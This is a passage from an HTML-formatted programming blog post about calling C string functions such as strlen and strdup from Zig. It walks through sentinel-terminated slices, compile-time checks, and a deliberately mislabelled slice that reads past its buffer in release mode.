&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>cString.&lt;span style="color:#447fcf">strlen&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;hello!&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With that in mind, let me create a Zig-native wrapper for the C &lt;code>strlen&lt;/code> function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strlen&lt;/span>(str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strlen&lt;/span>(str);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I define the parameter as &lt;code>[:0]const u8&lt;/code> to ensure that any Zig caller passes a string that&amp;rsquo;s null-terminated. This provides a degree of safety not possible in C, as Zig enforces the null termination, whereas C can&amp;rsquo;t guarantee any string is null-terminated.&lt;/p>
&lt;p>Here&amp;rsquo;s a complete Zig program to demonstrate the behavior:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// src/wrap-strlen.zig
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cString&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;string.h&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strlen&lt;/span>(str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">usize&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strlen&lt;/span>(str);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;strlen({s})={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strlen&lt;/span>(s)&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I can use &lt;code>zig run&lt;/code> to compile and run this example. I&amp;rsquo;m importing &lt;code>string.h&lt;/code>, a header from the C standard library, so I need to pass &lt;code>--library c&lt;/code> to tell the Zig compiler to link against libc.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strlen.zig --library c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>strlen(hi)=&lt;span style="color:#3677a9">2&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Cool, that works how I expected. I&amp;rsquo;m using C&amp;rsquo;s &lt;code>strlen&lt;/code> function to calculate the length of a string I created from Zig.&lt;/p>
&lt;p>What happens if I try to pass in a string that&amp;rsquo;s not null-terminated?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>notNullTerminated&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;h&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;i&amp;#39;&lt;/span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;strlen({s})={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>notNullTerminated,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strlen&lt;/span>(&amp;amp;notNullTerminated)&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strlen-badcall.zig --library c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/wrap-strlen-badcall.zig:13:71: error: expected &lt;span style="color:#24909d">type&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;[:0]const u8&amp;#39;&lt;/span>, found &lt;span style="color:#ed9d13">&amp;#39;*const [2]u8&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> std.debug.print(&lt;span style="color:#ed9d13">&amp;#34;strlen({s})={d}\n&amp;#34;&lt;/span>, .{ notNullTerminated, strlen(&amp;amp;notNullTerminated) });
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^~~~~~~~~~~~~~~~~~
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/wrap-strlen-badcall.zig:13:71: note: destination pointer requires &lt;span style="color:#ed9d13">&amp;#39;0&amp;#39;&lt;/span> sentinel
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>src/wrap-strlen-badcall.zig:7:16: note: parameter &lt;span style="color:#24909d">type&lt;/span> declared here
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fn strlen(str: [:0]const u8) usize {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^~~~~~~~~~~~
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Great!&lt;/p>
&lt;p>Zig catches the error at compile time because it sees that &lt;code>strlen&lt;/code> requires a null-terminated string (&lt;code>[:0]u8&lt;/code>), but &lt;code>notNullTerminated&lt;/code> is type &lt;code>const [2]u8&lt;/code>, so it&amp;rsquo;s missing the null-termination property.&lt;/p>
&lt;h3 id="null-termination-is-not-a-strict-guarantee">Null-termination is not a strict guarantee&lt;/h3>
&lt;p>Even though the Zig compiler makes calling into C string functions safer, it still can&amp;rsquo;t guarantee &lt;em>for sure&lt;/em> that a type of &lt;code>[:0]u8&lt;/code> is null-terminated.&lt;/p>
&lt;p>I can trick Zig by creating a slice from an existing array and incorrectly declaring it to be null-terminated:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span>&lt;span style="color:#666"> &lt;/span>a&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>[_]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>{&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;h&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;e&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;l&amp;#39;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#39;o&amp;#39;&lt;/span>&lt;span style="color:#666"> &lt;/span>};&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#999;font-style:italic">// This is a lie, as this slice isn&amp;#39;t really null-terminated.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>a[&lt;span style="color:#3677a9">0&lt;/span>..&lt;span style="color:#3677a9">2&lt;/span>&lt;span style="color:#666"> &lt;/span>:&lt;span style="color:#3677a9">0&lt;/span>];&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;strlen({s})={d}&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strlen&lt;/span>(s)&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I compile this code with default settings, Zig adds debug checks that cause a panic at runtime:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strlen-evil.zig --library c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>thread &lt;span style="color:#3677a9">43926&lt;/span> panic: sentinel mismatch: expected 0, found &lt;span style="color:#3677a9">108&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/home/mike/ustreamer/src/wrap-strlen-evil.zig:13:16: 0x21fefc in main (wrap-strlen-evil)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> const &lt;span style="color:#40ffff">s&lt;/span> = a[0..2 :0];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/nix/store/bg6hyfzr1wzk795ii48mc1v15bswcvp3-zig-0.11.0/lib/zig/std/start.zig:574:37: 0x220477 in main (wrap-strlen-evil)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> const &lt;span style="color:#40ffff">result&lt;/span> = root.main() catch |err| {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>???:?:?: 0x7ffff7dffacd in ??? (libc.so.6)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Unwind information &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> &lt;span style="color:#ed9d13">`&lt;/span>libc.so.6:0x7ffff7dffacd&lt;span style="color:#ed9d13">`&lt;/span> was not available, trace may be incomplete
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The error &lt;code>sentinel mismatch: expected 0, found 108&lt;/code> means that at slot 2 in the slice, Zig expected to find a &lt;code>0&lt;/code> byte (null terminator), but it found the &lt;code>'l'&lt;/code> character (represented as &lt;code>108&lt;/code>).&lt;/p>
&lt;p>If I compile the code in release mode, the program has &lt;a href="https://ziglang.org/documentation/0.11.0/#Undefined-Behavior">undefined behavior&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ zig run src/wrap-strlen-evil.zig --library c -O ReleaseFast
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>strlen(he)=&lt;span style="color:#3677a9">5&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Zig sees the string &lt;code>s&lt;/code> as having two characters (&lt;code>&amp;quot;he&amp;quot;&lt;/code>) because it knows the length of the slice. C doesn&amp;rsquo;t have length information, so it searches for the first null byte, which causes the program to read beyond the memory allocated for the &lt;code>a&lt;/code> array. Depending on the environment, this program could crash with an access violation because it&amp;rsquo;s reading memory beyond what it allocated.&lt;/p>
&lt;h2 id="receiving-c-strings-in-zig">Receiving C strings in Zig&lt;/h2>
&lt;p>Okay, so I&amp;rsquo;ve shown how to write a Zig wrapper around a C function that takes a string as an input parameter.&lt;/p>
&lt;p>How do I handle C functions that produce C strings as output?&lt;/p>
&lt;p>As an example, I&amp;rsquo;ll show how to create a Zig wrapper around the C &lt;a href="https://en.cppreference.com/w/c/experimental/dynamic/strdup">&lt;code>strdup&lt;/code> function&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Returns a pointer to a null-terminated byte string, which is a duplicate of
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// the string pointed to by str1. The returned pointer must be passed to free to
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// avoid a memory leak.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">char&lt;/span>* &lt;span style="color:#447fcf">strdup&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">char&lt;/span>* str1);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As the comment says, &lt;code>strdup&lt;/code> takes a string, allocates memory for a copy of that string, then copies the contents of the string into the newly allocated buffer.&lt;/p>
&lt;p>A Zig wrapper for the C &lt;code>strdup&lt;/code> function might look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666"> &lt;/span>...&lt;span style="color:#666"> &lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The function takes as input a null-terminated string. The return value is &lt;code>![*:0]u8&lt;/code>, which breaks down as:&lt;/p>
&lt;p>&lt;code>u8&lt;/code> means an unsigned byte.&lt;/p>
&lt;p>&lt;code>[*:0]&lt;/code> means a null-terminated slice of unknown length. This differs from &lt;code>[:0]&lt;/code>, as the latter means that Zig knows the slice&amp;rsquo;s length and makes it accessible through the &lt;code>.len&lt;/code> property. For a type of &lt;code>[*:0]&lt;/code>, Zig doesn&amp;rsquo;t know the length, just that it terminates with a null byte.&lt;/p>
&lt;p>&lt;code>!&lt;/code> means that this function may return an error. The error is possible because the underlying C &lt;code>strdup&lt;/code> function can fail.&lt;/p>
&lt;p>Now that I&amp;rsquo;ve explained the inputs and outputs to this function, let me take a try at implementing it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strdup&lt;/span>(str)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.OutOfMemory;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And here&amp;rsquo;s a complete example of me calling the &lt;code>strdup&lt;/code> wrapper function from Zig:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-zig" data-lang="zig">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>std&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@import&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;std&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>cString&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cImport&lt;/span>({&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@cInclude&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;string.h&amp;#34;&lt;/span>);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(str:&lt;span style="color:#666"> &lt;/span>[:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>)&lt;span style="color:#666"> &lt;/span>![*:&lt;span style="color:#3677a9">0&lt;/span>]&lt;span style="color:#6ab825;font-weight:bold">u8&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>&lt;span style="color:#666"> &lt;/span>cString.&lt;span style="color:#447fcf">strdup&lt;/span>(str)&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">orelse&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>.OutOfMemory;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>!&lt;span style="color:#6ab825;font-weight:bold">void&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>s&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;hi&amp;#34;&lt;/span>;&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;s = [{s}] (type={}, size={d}, len={d})&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>s,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@TypeOf&lt;/span>(s),&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@sizeOf&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(s.*)),&lt;span style="color:#666"> &lt;/span>s.len&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span>&lt;span style="color:#666"> &lt;/span>sCopy&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">try&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">strdup&lt;/span>(s);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span>&lt;span style="color:#666"> &lt;/span>std.c.&lt;span style="color:#447fcf">free&lt;/span>(sCopy);&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>std.debug.&lt;span style="color:#447fcf">print&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;sCopy= [{s}] (type={}, size={d}, len={d})&lt;/span>&lt;span style="color:#ed9d13">\n&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>.{&lt;span style="color:#666"> &lt;/span>sCopy,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@TypeOf&lt;/span>(sCopy),&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#24909d">@sizeOf&lt;/span>(&lt;span style="color:#24909d">@TypeOf&lt;/span>(sCopy)),&lt;span style="color:#666"> &lt;/span>std.mem.&lt;span style="color:#447fcf">len&lt;/span>(sCopy)&lt;span style="color:#666"> &lt;/span>});&lt;span style="color:#666">
